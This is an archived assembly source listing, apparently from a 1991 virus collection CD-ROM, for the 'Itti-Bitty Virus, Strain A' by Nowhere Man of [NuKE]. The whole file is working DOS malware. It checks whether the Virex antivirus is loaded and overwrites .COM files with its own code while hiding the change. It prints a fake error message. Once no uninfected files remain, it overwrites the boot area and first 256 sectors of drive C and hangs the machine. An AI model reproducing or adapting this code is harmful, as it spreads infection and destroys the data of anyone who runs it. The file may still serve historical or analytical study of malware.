home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ITTI-A.ASM < prev    next >
Assembly Source File  |  1991-12-25  |  4KB  |  124 lines

  1. ; Itti-Bitty Virus, Strain A
  2. ; The world's smallest virus (except for Strain B, but still only 161 bytes)
  3. ;
  4. ; (C) 1991 Nowhere Man and [NuKE] WaErZ
  5. ; Written by Nowhere Man
  6.  
  7.     title   "The Itti-Bitty Virus, Strain A:  The smallest virus ever"
  8.  
  9.         code    segment 'CODE'
  10.                 assume cs:code,ds:code,es:code,ss:code
  11.  
  12.                 org     0100h
  13.  
  14. code_length     equ     finish - start
  15.  
  16. start           label   near
  17.                
  18. id_bytes    proc    near
  19.         mov    si,si                   ; Serves no purpose:  our ID
  20. id_bytes    endp
  21.  
  22. main            proc    near
  23.         mov    ax,0FF0Fh        ; Virex installation check function
  24.         int    021h
  25.         cmp    ax,0101h        ; Is Virex loaded?
  26.         je    exit_virus        ; If so, then bail out now
  27.  
  28.         mov     ah,04Eh            ; DOS find first file function
  29.         mov     cx,00100111b        ; CX holds attribute mask
  30.         mov     dx,offset com_spec    ; DX points to "*.COM"
  31.  
  32. file_loop:      int     021h
  33.         jc      go_off            ; If there are no files, go off
  34.  
  35.         call    infect_file        ; Try to infect found file
  36.         jne     exit_virus        ; Exit if successful
  37.  
  38.                 mov     ah,04Fh            ; DOS find next file function
  39.         jmp    short file_loop        ; Repeat until out of files
  40.  
  41. exit_virus:     mov    ah,9            ; DOS display string function
  42.         mov    dx,offset fake_error    ; DX points to fake error message
  43.         int    021h
  44.  
  45.         mov    ax,04C01h        ; DOS terminate function, code 1
  46.         int     021h
  47. main            endp
  48.  
  49. go_off          proc    near
  50.         cli                ; Prevent all interrupts
  51.  
  52.         mov    ah,2            ; AH holds drive number (C:)
  53.         cwd                             ; Start with sector 0 (boot sector)
  54.         mov    cx,0100h        ; Write 256 sectors (fucks disk)
  55.         int    026h            ; DOS absolute write interrupt
  56.  
  57.         jmp    $            ; Infinite loop; lock up computer
  58. go_off          endp
  59.  
  60. infect_file     proc    near
  61.         mov    ax,04301h        ; DOS set file attributes function
  62.         xor    cx,cx            ; Clear all attributes
  63.         mov    dx,09Eh            ; DX points to victim's name
  64.         int    021h
  65.  
  66.         mov     ax,03D02h               ; DOS open file function, read-write
  67.         int     021h
  68.  
  69.                 xchg    bx,ax                   ; BX holds file handle
  70.  
  71.         mov     ah,03Fh                 ; DOS read from file function
  72.         mov     cx,2                    ; CX holds byte to read (2)
  73.         mov     dx,offset buffer        ; DX points to buffer
  74.         int     021h
  75.  
  76.         cmp    word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
  77.         pushf                ; Save flags
  78.         je      close_it_up        ; If not, then file is OK
  79.  
  80.         cwd                             ; Zero CX \_ Zero bytes from start
  81.         mov    cx,dx            ; Zero DX /
  82.         mov    ax,04200h        ; DOS file seek function, start
  83.         int    021h
  84.  
  85.         mov     ah,040h                 ; DOS write to file function
  86.         mov     cx,code_length          ; CX holds virus length
  87.         mov     dx,offset start         ; DX points to start of virus
  88.         int     021h
  89.  
  90. close_it_up:    mov    si,095h
  91.         lodsb
  92.         push    ax            ; Save file's attributes for later
  93.         lodsw
  94.         xchg    cx,ax            ; CX holds [096h]
  95.         lodsw
  96.         xchg    dx,ax            ; DX holds [098h]
  97.         mov     ax,05701h               ; DOS set file time function
  98.         int     021h
  99.  
  100.                 mov     ah,03Eh                 ; DOS close file function
  101.         int     021h
  102.  
  103.         mov    ax,04301h        ; DOS set file attributes function
  104.         pop    cx            ; CX holds file's old attributes
  105.         mov    dx,09Eh            ; DX points to victim's name
  106.         int    021h
  107.  
  108.         popf                ; Restore flags
  109.         ret                ; Return to caller
  110.  
  111. buffer          dw      ?            ; Buffer to hold test data
  112. infect_file    endp
  113.  
  114.  
  115. ; Initialized data goes here
  116.  
  117. com_spec        db      "*.COM",0        ; What to infect:  all COM files
  118.  
  119. fake_error    db    "EXEC failure",13,10,"$" ; Fake error message
  120.  
  121. finish          label   near
  122.  
  123. code            ends
  124.         end    id_bytes